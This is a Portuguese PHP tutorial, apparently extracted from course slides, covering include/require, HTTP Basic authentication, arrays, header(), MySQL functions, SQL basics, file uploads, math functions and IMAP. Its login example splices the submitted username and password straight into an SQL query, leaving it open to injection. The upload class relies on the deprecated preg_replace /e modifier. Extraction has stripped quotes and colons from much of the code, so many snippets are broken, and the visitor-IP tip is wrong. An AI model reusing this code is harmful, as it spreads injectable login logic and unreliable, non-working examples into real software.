  • 25. Modulo 4 – Introdução part4o requireo includeo require_onceo include_onceo Autenticação HTTP com PHPo Arrayso Headerrequire()A instrução require() inclui a avalia um arquivo específico.require() e include() são idênticos em todas as formas exceto pela manipulação de erros.include() produz um Warning enquanto require() produzirá um Fatal Error. Em outras palavras,não hesite em utilizar require() se na falta de um arquivo quiser parar o processamento dapágina. include() não se comporta da mesma maneira, e o script poderá continuar nessasituação. Em todo caso, vale a pena confirmar a configuração da diretiva include_path.PHP 1. <?php 2. require prepend.php; 3. require $somefile; 4. require (somefile.txt); 5. ?>include()A instrução include() inclui e avalia o arquivo informado.A documentação a seguir se aplica também a require(). Esses dois construtores são idênticos aexceção de como eles manipulam erros. include() produz um Warning enquanto require()produzirá um Fatal Error. Em outras palavras, utilize require() se você deseja que um arquivofaltando interrompa o processamento da página. include() não se comporta da mesmamaneira, permitindo que o script continue nessas situações. Em todo caso, vale a penaconfirmar a configuração da diretiva include_path. Esteja avisado que um erro deinterpretação no arquivo incluído não causa o cancelamento do processamento.Arquivos a incluir são procurados primeiramente no include_path relativo ao diretório atual detrabalho e depois no include_path relativo ao diretório atual do script. Por exemplo, se seuincluide_path é ., o diretório atual é /www/, se você incluiu include/a.php e há um b.php nesse
  • 26. arquivo, b.php será procurado primeiro em /www/ e somente depois em /www/include/.Quando um arquivo é incluído, seu código entra no escopo de variável da linha onde a inclusãoocorre. Qualquer variável disponível da linha onde a chamada da inclusão ocorre estarádisponível para o arquivo incluído, daquele ponto em diante.vars.php$cor = verde;$fruta = maçã;frutas.php<?phpecho "Uma $fruta $cor"; // ira mostrar "Uma" e um notice que nao existe as variaveis $fruta e$corinclude vars.php;//inclue a paginaecho "Uma $fruta $cor"; // ira mostrar "Uma maçã verde"?>require_once()A instrução require_once() incluí e avalia o arquivo especificado durante a execução do script.Seu comportamento é similar ao da instrução require(), a não ser que o arquivo informado játenha sido incluído, não refazendo a operação novamente. Veja a documentação de require()para maiores informações sobre como essa instrução funciona.require_once() pode ser utilizado nos casos em que o mesmo arquivo pode acabar sendoincluído mais de uma vez durante a execução de um script em particular, quando na verdadeele só pode ser incluído apenas uma, para evitar problemas com redefinições de funções,alterações nos valores de variáveis, etc.<?php<br />require_once("a.php"); // isto irá incluir a.phprequire_once("A.php"); // isto iráincluir a.php de novo no Windows!?>include_once()A instrução include_once() inclui e avalia o arquivo especificado durante a execução de umscript. Seu comportamento é similar a instrução include(), a não ser que o arquivo informadojá tenha sido incluído, não refazendo a operação novamente. Como o nome sugere, ele seráincluído apenas uma vez.
  • 27. include_once() pode ser utilizado nos casos em que o mesmo arquivo pode acabar sendoincluído mais de uma vez durante a execução de um script em particular, quando na verdadeele só pode ser incluído apenas uma para evitar problemas com redefinições de funções,alterações nos valores de variáveis, etc.Para maiores informações utilizando require_once() e include_once(), veja o código do PEARincluído nas últimas distribuições do código fonte do PHP.<?php<br />include_once("a.php");<br /> // isto irá incluir a.phpinclude_once("A.php"); // istoirá incluir a.php de novo no Windows!?>Autenticação HTTP com PHPAutenticação via HTTP no PHP só é disponível quando o mesmo for executador como módulodo Apache e, portanto, não é disponível na versão CGI. Em um script PHP no módulo Apache, épossível usar a função header() para enviar uma janela de entrada "Authentication Required".Uma vez que o usuário preencheu seu nome de usuário e senha, a URL contendo o script PHPserá chamada de novo com as variáveis predefinidas PHP_AUTH_USER, PHP_AUTH_PW, eAUTH_TYPE contendo o nome de usuário, senha e tipo de autenticação, respectivamente.Essas variáveis predefinidas são achadas nos arrays $_SERVER e $HTTP_SERVER_VARS.Somente autenticação "Basic" (Básica) é suportada.um exemplo simples :<?session_start(); function Autenticar() { header(WWW-Authenticate: Basic realm = "Area Restrita"); header(HTTP/1.0 401 Unauthorized); echo "<center><h1>Acesso Restrito</h1></center>"; exit; } function Confere_Login($nome, $senha) { mysql_connect("localhost", "usuario", "senha"); mysql_select_db("online"); $re = mysql_query("select count(*) as total from usuarios where nome = $nome and senha= md5($senha)"); mysql_close(); return mysql_result($re, 0, "total");}if ( !isset($_SERVER["PHP_AUTH_USER"]) and !isset($_SERVER["PHP_AUTH_PW"]) )
  • 28. { Autenticar();}else{ $total = Confere_Login($_SERVER["PHP_AUTH_USER"], $_SERVER["PHP_AUTH_PW"]); if ( $total == 0 ) { Autenticar(); }}?>ArraysUm array no PHP é atualmente um mapa ordenado. Um mapa é um tipo que relaciona valorespara chaves. Este tipo é otimizado de várias maneiras, então você pode usá-lo como um arrayreal, ou uma lista (vetor), hashtable (que é uma implementação de mapa), dicionário, coleção,pilha, fila e provavelmente mais. Como você pode ter outro array PHP como um valor, vocêpode facilmente simular árvores.A explicação dessas estruturas estão além do escopo desse manual, mas você pode encontrarexemplos para cada uma dessas estruturas a seguir. Para mais informações sobre estruturas,refira-se a literatura externa sobre esses tópicos.SintaxeEspecificando com array()Um array pode ser criado com o construtor de linguagem array(). Ele pega um certo númerode pares separados por vírgula chave => valor .array( [chave =>] valor , ... )// chave pode ser tanto string ou um integer// valor pode ser qualquer coisaPHP 1. <?php 2. $arr = array("foo" => "bar", 12 => true); 3. echo $arr["foo"]; 4. echo $arr[12];
  • 29. 5. ?>A chave pode ser tanto um integer ou uma string. Se a chave é uma representação padrão deum integer, ele será interpretado assim (por exemplo, "8" será interpretado como 8, enquanto"08" será interpretado como "08"). Não há diferença entre arrais indexados e associativos emPHP, apenas um tipo de array, que pode ter índices inteiros ou string.O valor pode ser qualquer tipo PHP:PHP 1. <?php 2. $arr = array("somearray" => array(6 => 5, 13 => 9, "a" => 42)); 3. 4. echo $arr["somearray"][6]; 5. echo $arr["somearray"][13]; 6. echo $arr["somearray"]["a"]; 7. ?>Se omitir a chave quando fornece um novo item, o maior índice inteiro é obtido, e a novachave será esse máximo + 1. Se você especificar uma chave que já possui um valor assimilada aela, então o valor é sobrescrito.PHP 1. <?php 2. array(5 => 43, 32, 56, "b" => 12); 3. 4. array(5 => 43, 6 => 32, 7 => 56, "b" => 12); 5. ?>Indice de algumas funções do array:array_change_key_case -- Retorna um array com todas as chaves string em maiúsculo ouminúsculoarray_chunk -- Divide um array em pedaçosarray_count_values -- Conta as frequências de cada valor de um array
  • 30. array_diff -- Analisa as diferenças entre arraysarray_fill -- Preenche um array com valoresarray_filter -- Filtra os elementos de um array utilizando uma funçãoarray_flip -- Inverte as relações entre chaves e valoresarray_intersect -- Calcula a interseção entre arraysarray_key_exists -- Checa se uma chave ou índice existe em um arrayarray_keys -- Retorna todas as chaves de um arrayarray_map -- Aplica uma função em todos os elementos dos arrays dadosarray_merge_recursive -- Funde dois ou mais arrays recursivamentearray_merge -- Funde dois ou mais arraysarray_multisort -- Ordena múltiplos arrays ou arrays multi-dimensionaisarray_pad -- Expande um array para um certo comprimento utilizando um determinado valorarray_pop -- Retira um elemento do final do arrayarray_push -- Adiciona um ou mais elementos no final de um arrayarray_rand -- Retorna um ou mais elementos aleatórios de um arrayarray_reduce -- Reduz um array para um único valor através de um processo iterativoutilizando uma função.array_reverse -- Retorna um array com os elementos na ordem inversaarray_search -- Procura por um valor em um array e retorna sua chave correspondente casoseja encontradoarray_shift -- Retira o primeiro elemento de um arrayarray_slice -- Extrai uma parcela de um arrayarray_splice -- Remove uma parcela do array e substitui com outros elementosarray_sum -- Calcula a soma dos elementos de um arrayarray_unique -- Remove o valores duplicados de um arrayarray_unshift -- Adiciona um ou mais elementos no início de um arrayarray_values -- Retorna todos os valores de um arrayarray_walk -- Aplica uma determinada funcão em cada elemento de um arrayarray -- Cria um arrayarsort -- Ordena um array em ordem descrescente mantendo a associação entre índices evaloresasort -- Ordena um array mantendo a associação entre índices e valorescompact -- Cria um array contendo variáveis e seus valorescount -- Conta o número de elementos de uma variávelcurrent -- Retorna o elemento corrente em um arrayeach -- Retorna o par chave/valor corrente de um array e avança o seu cursorend -- Faz o ponteiro interno de um array apontar para o seu último elementoextract -- Importa variáveis para a tabela de símbolos a partir de um arrayin_array -- Checa se um valor existe em um arraykey -- Retorna uma chave de um array associativokrsort -- Ordena um array pelas chaves em ordem descrescenteksort -- Ordena um array pelas chaveslist -- Cria variáveis como se fossem arraysnatcasesort -- Ordena um array utilizando o algoritmo da "ordem natural" sem diferenciarmaiúsculas e minúsculas
  • 31. natsort -- Ordena um array utilizando o algoritmo da "ordem natural"next -- Avança o ponteiro interno de um arraypos -- Retorna o elemento atual do arrayprev -- Retrocede o ponteiro interno de um arrayrange -- Cria um array contendo uma faixa de elementosreset -- Faz o ponteiro interno de um array apontar para o seu primeiro elementorsort -- Ordena um array em ordem descrescenteshuffle -- Mistura os elementos de um arraysizeof -- Apelido de count()sort -- Ordena um arrayuasort -- Ordena um array utilizando uma função de comparação definida pelo usuário emantendo as associações entre chaves e valoresuksort -- Ordena um array pelas chaves utilizando uma função de comparação definida pelousuário.usort -- Ordena um array pelos valores utilizando uma função de comparação definida pelousuárioHeaderheader -- Envia um cabeçalho HTTP diretamenteheader() é usado para enviar diretamete cabeçalhos HTTP headers.O parâmetro opcional replace indica quando um cabeçalho deverá substituir um cabeçalhosimilar anterior, ou adicionar um segundo cabeçalho do mesmo tipo. Por padrão irá substituir,mas se você passar FALSE como segundo argumento você poderá forçar multiplos cabeçalhosdo mesmo tipo. Por exemplo:PHP 1. <?php 2. header(WWW-AuthenticateNegotiate); 3. header(WWW-AuthenticateNTLM, false); 4. ?>O segundo caso especial é o cabeçalho "Location:". Não somente envia o seu cabeçalho para obrowser, mas também retorna código de situação REDIRECT (302) para o browser a menos quealgum código de situação 3xx já tenha sido definido.PHP 1. <?php 2. header("Location//www.imasters.com.br"); ?>
  • 32. Scripts PHP normalmente geram conteúdo dinamico que não deva ser guardado em cachepelo browser do cliente ou qualquer cache de proxy entre o servidor e o browser do cliente.Muitos proxies e clientes são forçados a desabilitar o cache usando:PHP 1. <?php 2. header("ExpiresMon, 26 Jul 1997 05:00:00 GMT"); 3. header("Last-Modified" . gmdate("D, d M Y H:i:s") . " GMT"); 4. header("Cache-Controlno-store, no-cache, must-revalidate"); 5. header("Cache-Controlpost-check=0, pre-check=0", false); 6. header("Pragmano-cache"); 7. ?>Você pode pensar que suas páginas não são colocadas em cache mesmo que você não envietodos os cabeçalhos acima. Existem várias opções que os usuários podem definir em seusbrowser que mudam o funcionamento do cache. Enviando os cabeçalhos acima, você irásobrescrever qualquer definição que faça seu script ser colocado em cache.Adicionalmente as configurações, session_cache_limiter() e session.cache_limiter podem serusadas para gerar automaticamente os cabeçalhos corretos quando estão sendo usadassessões.Lembre-se que header() deve ser utilizada antes que qualquer saida seja enviada, seja peloHTML, linhas ou espaços em branco em um arquivo, ou a partit do PHP. É um erro muitocomum ler código com a função include(), ou require(), ou outra função que acesse arquivos, eter espaços ou linhas em branco antes da função header(). O mesmo problema existe quandousar um arquivo PHP/HTML.PHP 1. <html> 2. <?php 3. header(Location//www.example.com/); 4. ?>Nota: A partir do PHP 4, você pode usar o buffer de saída para contornar este problema, com a
  • 33. sobrecarga que toda a saída do browser será guardada em buffer no servidor até quevoc^envie ele. Você poderá fazer isso usando ob_start() e ob_end_flush() no seu script oudefinido a diretiva de configuração output_buffering no seu php.ini ou nos arquivos deconfiguração do servidor.Se você queira que seja perguntado ao usuário para salvar os dados que você esta enviando,como um arquivo PDF gerado, você pode usar o cabeçalho Content-Disposition pararecomendar um nome de arquivo e forçar o browser a mostrar uma caixa salvar arquivo.PHP 1. <?php 2. // Nós estaremos enviando um PDF 3. header(Content-typeapplication/pdf); 4. // Será chamado downloaded.pdf 5. header(Content-Dispositionattachment; filename="downloaded.pdf"); 6. // A fonte do PDF é original. 7. readfile(original.pdf); 8. ?>
  • 34. Modulo 5Interagindo com banco de dados (Mysql)Introduçãoo Breve Historia Mysqlo mysql_connecto mysql_select_dbo mysql_queryo mysql_closeo mysql_fetch_arrayo mysql_fetch_rowo mysql_fetch_objecto mysql_resulto mysql_erroro mysql_insert_ido Comando basicos SQLo [brinde] Sistema de cadastro para LivrariaBreve Historia MysqlA derivação do nome MySQL foi criado apartir do prefixo "my" porque o pessoal dodesenvolvimento do mysql usava esse prefixo nos seus diretorios e inumeras bibliotecas eferramentas que eles usavam.A filha de Monty Widenius ( criador do banco mysql ) também ganhou o nome MyO golfinho do MySQL (logo marca do mysql) é Sakila. Sakila foi escolhido pelos fundadores daMySQL AB de uma enorme lista denomes sugeridos pelos usuários em um concurso "Name the Dolphin". O nome vencedor foienviado por Ambrose Twebaze, um desenvolvedorde programas open source de Swaziland, Africa. De acordo com Ambrose, o nome Sakila temas suas raízes em SiSwati, a língua local deSwaziland. Sakila é também o nome de uma cidade em Arusha, Tanzania, próxima ao país deorígem de Ambrose, Uganda.mysql_connectmysql_connect -- Abre uma conexao com o Mysqlmysql_connect("servidor", "usuario", "senha");por padrao o mysql vem com usuario root e sem senha entao para conectar a primeira vez
  • 35. você pode fazer assim:mysql_connect("localhost");mysql_select_dbmysql_select_db -- Seleciona um banco de dados MySQLmysql_select_db(nome_do_banco);mysql_querymysql_query -- Realiza uma query MySQLexemplo:mysql_query("select * from tabela");mysql_closemysql_close -- Fecha a conexão com o MySQLexemplo:$link = mysql_connect(localhost, usuario, senha);mysql_close($link);mysql_fetch_arraymysql_fetch_array -- Busca o resultado de uma linha e o coloca como uma matriz associativa,matriz numérica ou ambas.exemplo:mysql_connect("localhost", "usuario", "senha");mysql_select_db("banco");$re = mysql_query("SELECT * FROM tabela");while ($l = mysql_fetch_array($re)) { echo $l["campo"]."<br>";}mysql_fetch_rowmysql_fetch_row -- Retorna o resultado de uma linha numa matriz numérica
  • 36. mysql_connect("localhost", "usuario", "senha");mysql_select_db("banco");$re = mysql_query("SELECT * FROM tabela");while ($l = mysql_fetch_row($re)) { echo $l[0]."<br>";}mysql_fetch_objectmysql_fetch_object -- Retorna o resultado de uma linha como um objetomysql_connect("localhost", "usuario", "senha");mysql_select_db("banco");$re = mysql_query("select * from tabela");while ($l = mysql_fetch_object($re)) { echo $l->campo."<br>";}mysql_resultmysql_result -- Retorna dados do resultadomysql_connect("localhost", "usuario", "senha");mysql_select_db("banco");$re = mysql_query("select count(*) as total from tabela");$total = mysql_result($re, 0, "total");mysql_errormysql_error -- Retorna o texto da mensagem de erro da operação anterior do MySQL$link = mysql_connect("localhost", "usuario", "senha");if (!$link) {die(Erro: . mysql_error());}echo Conexao ok;mysql_close($link);
  • 37. mysql_insert_idmysql_insert_id -- Retorna o ID gerado da operação INSERT anteriorComando basicos SQLMostrarei nesse tutorial uns comando basicos de sql como editar salvar fazer uma busca eexplicar o basico dos nomes dos comando sqlSELECT - Seleciona dados da tabelaSELECT [nome do campo | *] FROM [tabela] WHERE [campo] = [valor] ORDER BY [campo] [ASC| DESC]- SELECT = seleciona- FROM = da/de/do- WHERE = aonde- ORDER BY = organizar por- GROUP BY = função de agrupamento-| = ou- ASC = Ascendente- DESC = DescendenteWHERE condicao for verdadeiracodicoes- campo = valor- campo > valor- campo < valor- campo >= valor- campo <= valor- campo like "%texto%" // % = qualquer caracter, _ = um unico caracter- campo BETWEEN valor_minimo AND valor_maximo // BETWEEN = ENTRE UM E OUTROselect * from usuarios where nome like "a%" and idade > 15;+----+-------+-------+------+---------------------+| id | nome | idade | sexo | data_cadastro |+----+-------+-------+------+---------------------+| 9 | andre | 20 | M | 2004-02-25 19:04:56 |+----+-------+-------+------+---------------------+
  • 38. mysql> select * from usuarios where idade < 30 order by nome desc;+----+--------+-------+------+---------------------+| id | nome | idade | sexo | data_cadastro |+----+--------+-------+------+---------------------+| 10 | Fabyo | 27 | M | 2004-03-27 19:10:35 || 1 | natan | 20 | M | 2004-03-27 18:07:25 || 8 | carlos | 20 | M | 2004-03-27 18:12:01 || 4 | carla | 20 | F | 2004-03-27 18:19:23 || 9 | andre | 20 | M | 2004-03-27 19:04:56 |+----+--------+-------+------+---------------------+mysql> select nome, idade, sexo from usuarios where idade between 20 and 30;+--------+-------+------+| nome | idade | sexo |+--------+-------+------+| natan | 20 | M || carlos | 20 | M || carla | 20 | F || raul | 30 | M || andre | 20 | M |+--------+-------+------+INSERT - Insere dados na tabelaINSERT INTO tabela (campo1, campo2, campo3, ...) VALUES (valor1, valor2, valor3, ...)Quando não for passado o nome dos campos entre parenteses após a tabela, o servidorentenderá que vocêquer inserir todos os campos na ordem que estão da tabela.INSERT INTO tabela VALUES (valor1, valor2, valor3, valor4, ...)- INSERT = inserir- INTO = dentro de- VALUES = valoresinsert into usuarios (nome, idade, sexo, data_cadastro)values ("Fabyo", 27, "M", "1999-12-31 12:00:00");insert into usuarios values ("", "Fabyo", 27, "M", NOW());
  • 39. UPDATE - Atualiza valores na tabelaUPDATE tabela SET campo1 = valor1, campo2 = valor2, campo3 = valor3 WHERE campo = valor- UPDATE = Atualiza- SET = Defina- WHERE = Aondeupdate usuarios, set nome = "Carlos", idade = 18 where id = 7;DELETE - Apaga registro da tabelaDELETE FROM tabela WHERE campo = valor- DELETE - Apaga- FROM - de/do/da- WHERE - Aondedelete from usuarios where id = 7;[brinde] Sistema de cadastro para LivrariaEsse Modulo nao tera exercicios ,mas terá de brinde um sistema (simples) de Cadastro delivros para livrariacom esse sistema você conseguira entender melhor como funciona o php junto com mysql ecomo fazer um sistemade cadastro completo e relacionando as tabelas de um modo simplessó explicando quando você ver na tabela escrito fk representa (foreign key) ou chaveestrangeiraque é o id de uma tabela sendo representado em outra tabela fazendo um relacionamento.Dica:use strip_tags serve pra tirar tags html evitando que pessoas cadastre tags html no seu banconão abordei a fundo o Mysql, porque estamos pra lançar um curso online de Mysqlobrigado a todos e bons estudos.
  • 40. Modulo 6Introduçãoo Upload de Arquivoso Conexão com banco de dados acesso Funções matemáticaso ImapUpload de ArquivosUpload de arquivos com o método POST O PHP é capaz de receber o upload de qualquerbrowser que siga a norma RFC-1867 (o que inclui Netscape Navigator 3 ou posterior, MicrosoftInternet Explorer 3 com um patch da Microsoft, ou posterior sem patch). Isto permite que sefaça o upload de arquivos de texto e binários. Com as funções de autenticação e manipulaçãode arquivos do PHP, você tem o controle completo de quem pode fazer o upload dearquivo e o que fazer com o arquivo após seu upload.Tenha certeza que seu formulário de upload de arquivo tenha enctype="multipart/form-data" em outro caso o upload do arquivo não irá funcionar.$_FILES[arquivo][name]O nome original do arquivo no computador do usuário.$_FILES[arquivo][type]O tipo mime do arquivo, se o browser deu esta informação. Um exemplo pode ser"image/gif".$_FILES[arquivo][size]O tamanho, em bytes, do arquivo.$_FILES[arquivo][tmp_name]O nome temporário do arquivo, como foi guardado no servidor.$_FILES[arquivo][error]is_uploaded_fileis_uploaded_file -- Diz se o arquivo foi enviado via HTTP POSTbool is_uploaded_file ( string filename)Retorna TRUE se o arquivo com o nome filename foi uploaded via HTTP POST. Isto é útil parater certeza que um usuário malicioso, não está tentandoconfundir o script em trabalhar em arquivos que não deve estar trabalhando --- por exemplo,
  • 41. /etc/passwd.Este tipo de confirmação é importante principalmente se existe alguma chance que qualquercoisa feita com os arquivos carregados poderiam revelaro seu conteúdo para o usuário, ou mesmo para outros usuários no mesmo sistema.is_uploaded_file() está disponível somente em versões do PHP 3 depois da 3.0.16 e em versõesdo PHP 4 posteriores a 4.0.2. Se você ainda está utilizandouma versão anterior, você pode utilizar o seguinte código para se proteger:Nota: O exemplo seguinte não funcionará em versões do PHP posteriores a 4.0.2. Isto dependede uma funcionalidade interna do PHP que mudou depois dessa versão.PHP 1. <?php 2. /* Teste de arquivo carregado pelo usuário */ 3. function is_uploaded_file($filename) { 4. if (!$tmp_file = get_cfg_var(upload_tmp_dir)) { 5. $tmp_file = dirname(tempnam(, )); 6. } 7. $tmp_file .= / . basename($filename); 8. /* Pode haver uma barra no final do php.ini... */ 9. return (ereg_replace(/+, /, $tmp_file) == $filename); 10. } 11. 12. /* Utilize isto se por acaso você não tiver 13. * move_uploaded_file() em versões antigas: */ 14. if (is_uploaded_file($HTTP_POST_FILES[arquivo])) { 15. [b]copy[/b]($HTTP_POST_FILES[arquivo], "/place/to/put/uploaded/file"); 16. } else { 17. echo "Possível ataque de carregamento de arquivo: filename $HTTP_POST_FILES[arquivo]."; 18. }
  • 42. 19. ?>move_uploaded_file(PHP 4 >= 4.0.3, PHP 5)move_uploaded_file -- Move um arquivo carregado para uma nova localizaçãoDescriçãobool move_uploaded_file ( string nomedoarquivo, string destino)Esta função primeiro checa o arquivo informado nomedoarquivo é um arquivo válidouploadeado (significando que ele foi carregado pelo mecanismo doPHP de HTTP POST). Se o arquivo é válido, ele será movido para o nomedoarquivo dado pelodestino.Se nomedoarquivo não é um arquivo carregado válido, então não haverá nenhuma ação emove_uploaded_file() irá retornar FALSE.Se nomedoarquivo é um arquivo uploadeado válido e não pode ser movido por alguma razão,nenhuma ação irá ocorrer, e move_uploaded_file() irá retornar FALSE.Adicionalmente, um aviso será emitido.Este tipo de confirmação é importante principalmente se existe alguma chance que qualquercoisa feita com os arquivos carregados poderem revelar o seuconteúdo para o usuário, ou mesmo para outros usuários no mesmo sistema.Nota: Quando o safe-mode está ativo, o PHP verifica se o(s) arquivo(s) e/ou diretório(s) queserão afetados por esta operação tem o mesmo UID (proprietário) doscript que está sendo executado.Nota: move_uploaded_file() não é afetado pelas restrições de UIN normais do safe mode. Istonão é inseguro porque move_uploaded_file() somente opera sobre arquivoscarregados pelo PHP.AtençãoSe o arquivo destino já existir, então ele será sobrescrito.Veja também is_uploaded_file() e a seção Manipulando o upload de arquivos para umexemplo de utilização desta função.Explicação das mensagens de erro
  • 43. Desde o PHP 4.2.0, PHP retorna um código de erro apropriado na array do arquivo. O códigode erro pode ser encontrado em [error] na array que é criada durante oupload do arquivo. Em outras palavras, o erro deve ser encontrado em$_FILES[arquivo][error].Tratamentos de ErrosUPLOAD_ERR_OKValor: 0; não houve erro, o upload foi bem sucedido.UPLOAD_ERR_INI_SIZEValor 1; O arquivo no upload é maior do que o limite definido em upload_max_filesize nophp.ini.UPLOAD_ERR_FORM_SIZEValor: 2; O arquivo ultrapassa o limite de tamanho em MAX_FILE_SIZE que foi especificado noformulário HTML.UPLOAD_ERR_PARTIALValor: 3; o upload do arquivo foi feito parcialmente.UPLOAD_ERR_NO_FILEValor: 4; Não foi feito o upload do arquivo.Nota: Estas tornaram-se constantes no PHP 4.3.0Variáveis de upload de arquivos HTTP: $_FILESNota: Introduzida na versão 4.1.0. Em versões anteriores, use $HTTP_POST_FILES.Contém um array associativo dos itens carregador no script atual através do método HTTPPOST.Esta é uma variável superglobal, ou automaticamente global. Isto significa que ela édisponível em todos os escopos (níveis) de um script. Você não precisa fazerum global $_FILES; para pode acessá-la dentro de funções ou métodos, como era necessáriocom $HTTP_FILES_VARS.Exemplo de um upload:<html><head><title>Upload</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head><body><form action="upload.php" method="post" enctype="multipart/form-data" name="form1"><input type="file" name="arquivo"><input type="submit" name="Submit" value="Enviar"></form>
  • 44. </body></html>upload.php<?//Fabyo Guimaraesclass Upload{var $arquivo = "";//array com os codigos dos erros de uploadvar $erro = array ( "0" => "upload execultado com sucesso!","1" => "O arquivo é maior que o permitido pelo Servidor","2" => "O arquivo é maior que o permitido pelo formulario","3" => "O upload do arquivo foi feito parcialmente","4" => "Não foi feito o upload do arquivo");//função que verifica se o arquivo foi enviado, e se obteve sucesso returna true e cria avariavel para ser manipuladofunction Verifica_Arquivo(){$this->arquivo = isset($_FILES[arquivo]) ? $_FILES[arquivo] : FALSE;return is_uploaded_file($this->arquivo[tmp_name]) ? true : false;}//função que envia o arquivo para o servidor se nao existir a pasta no servidor ele cria obs:linux usar chmodfunction Envia_Arquivo(){// se o arquivo foi enviado corretamente ele enviaif($this->Verifica_Arquivo() == true){ set_time_limit(0);$diretorio = "pasta/";if(!file_exists($diretorio)){mkdir($diretorio);}//se ja existir ele renomeia o arquivo novo para nao sobrescrever o existentewhile ( file_exists ( $diretorio.$this->arquivo[name] )){$this->arquivo[name] = preg_replace ( "/^(.+?)(_?)(d*)(.[^.]+)?$/e", "$1_.($3+1).$4",$this->arquivo[name]);}move_uploaded_file($this->arquivo[tmp_name], $diretorio . $this->arquivo[name]);
  • 45. echo "<span style="color: white; border: solid 1px; background: blue;">".$this->erro[$this->arquivo[error]]."</span>";}se o arquivo nao foi enviado ou tenha dado algum erro ele mostra a mensagem de erroelseif( isset($this->arquivo[tmp_name]) ){echo "<span style="color: white; border: solid 1px; background: red;">".$this->erro[$this->arquivo[error]]."</span>";}}}?>Notem que essa classe cuida para obter sucesso no envio do arquivo ,mas ela não estatratando do tipo(type) de arquivocaso você queria enviar imagens para o servidor você pode limitar tamanho, dimensao daimagem e tipo de extensaoe se for arquivo você pode limitar a extensão só para o tipo que você quiser, caso tenhaduvidas em como tratar o tipo de arquivo só postar no forum.Funções matemáticasabsRetorna o valor Valor absoluto de um número.Se o argumento número é do tipo float, o número retornado também é floatExemplo:<?php$abs = abs(-4.2); // $abs = 4.2; (double/float)$abs2 = abs(5); // $abs2 = 5; (inteiro)$abs3 = abs(-5); // $abs3 = 5; (inteiro)?>floor -- Arredonda frações para baixo<?phpecho floor(4.3); // 4echo floor(9.999); // 9?>round -- Arredonda um número
  • 46. <?phpecho round(3.4); // 3echo round(3.5); // 4echo round(3.6); // 4echo round(3.6, 0); // 4echo round(1.95583, 2); // 1.96echo round(1241757, -3); // 1242000echo round(5.045, 2); // 5.04echo round(5.055, 2); // 5.06?>number_format -- Formata um número com os milhares agrupadosecho number_format( "1000.000", 2, ",", ".");esse exemplo acima ira retornar 1.000,00max -- Localiza o maior número<?echo max(1, 3, 5, 6, 7); // 7echo max(array(2, 4, 5)); // 5?>min -- Localiza o menor número<?echo min(2, 3, 1, 6, 7); // 1echo min(array(2, 4, 5)); // 2?>count -- Conta o número de elementos de uma variável<?php$a[0] = 1;$a[1] = 3;$a[2] = 5;$result = count($a);// $result == 3$b[0] = 7;$b[5] = 9;
  • 47. $b[10] = 11;$result = count($ ;// $result == 3;?>sqrt -- Raiz quadrada<?echo sqrt(9); // 3echo sqrt(10); // 3.16227766 ...?>rand -- Gera um número aleatórioPHP 1. <? 2. echo rand(0,9); 3. ?>Mais detalhes : www.php.net/ref.math.phpImapO que é IMAP?O protocolo IMAP foi originalmente desenvolvido na Universidade de Stanford em 1986.Trata-se de um método de acesso a mensagens eletrônicas armazenadas em um servidor localou remoto.IMAP quer dizer Internet Message Access Protocol [RFC 2060] e sua versão mais recente e aIMAP4rev1 [RFC 2060]descomente a linha do php.ini extension=php_imap.dllobs: nesse exemplo nao tem suporte a MIMENesse exemplo ele faz:tratamento de errosve quantos emails você tempega o assunto,remetente,data/hora e a mensagem
  • 48. <?php/* Fabyo Guimaraes$servidor = "seu_servidor";$usuario = "usuario";$senha = "senha";@ini_set(display_errors, 0);$mbox = imap_open("{pop3.$servidor/pop3:110}", $usuario . "@" . $servidor, $senha ,OP_HALFOPEN);$erro[] = imap_last_error();// testo se tem email no servidorif ($erro[0] == "Mailbox is empty") {echo "Nao tem nenhuma mensagem";exit;}// verifico se esta certo o usuario e senhaelseif ($erro[0] == "POP3 connection broken in response") {echo "Usuario ou a senha estao errados";exit;}// testo se o servidor esta certoelseif ($erro[0] == "Host not found (#11004): pop3.$servidor") {echo "O servidor $servidor esta errado";exit;}// se a $erro estiver vazia ele continuaif ($erro[0] == "") {$numero_mensagens = imap_num_msg($mbox);$numero_mens_nao_lidas = imap_num_recent($mbox);if ($numero_mensagens == 1) {echo "você tem $numero_mensagens mensagem";} else {echo "você tem $numero_mensagens mensagens";}echo "<br><br>";for($i = 1;$i <= imap_num_msg($mbox);$i++) {$headers = imap_header($mbox, $i);$assunto = $headers->subject;
  • 49. $message_id = $headers->message_id;$toaddress = $headers->toaddress;$to = $headers->to;$remetente = $to[0]->personal;$email_remetente = $to[0]->mailbox;$servidor_remetente = $to[0]->host;$data = $headers->date;$data = strtotime($data);$data = date("d/m/Y H:i:s", $data);echo "Assunto = $assunto - Remetente = $email_remetente@$servidor_remetente Data =$data <a href="imap.php?id=$i">Ler Mensagem</a><br>";}echo "<br>";if (isset($_GET["id"])) {$id = $_GET["id"];$mensagem = imap_fetchbody($mbox, $id, 1);echo nl2br(quoted_printable_dequote($mensagem));}imap_close($mbox);}?>mais detalhes:http://br.php.net/ma...en/ref.imap.php
  • 50. Modulo 7Introduçãoo Estatisticaso Dicas diversas sobre funções php para usar com Mysqlo Dicas basicas sobre configuração do phpMyAdmino SQLo Montando um sistema de cadastro de funcionariosEstatisticasVamos aprender um pouco como pegar e tratar varias informações uteis para ser usado emdeterminados momentossó lembrando que o php roda no servidor então a maioria das informações que você conseguirserá do próprio servidortirando as variaveis de ambiente.E não falarei sobre as coisa basicas como contador e datas, vou mostrar outras funções poucoconhecidas de algunsPara pegar o IP do visitante:$ip = $_SERVER["SERVER_ADDR"];ou$ip = getenv("REMOTE_ADDR");getenv -- Obtém uma variável de ambientePara pegar o IP de um site:$ip = gethostbyname(www.example.com);Para pegar meta_tags de um siteget_meta_tags -- Extrai as informações das tag meta de um arquivo e retorna como umamatrizO que get_meta_tags() interpreta<meta name="author" content="name"><meta name="keywords" content="php documentation"><meta name="DESCRIPTION" content="a php manual"><meta name="geo.position" content="49.33;-86.59"></head>
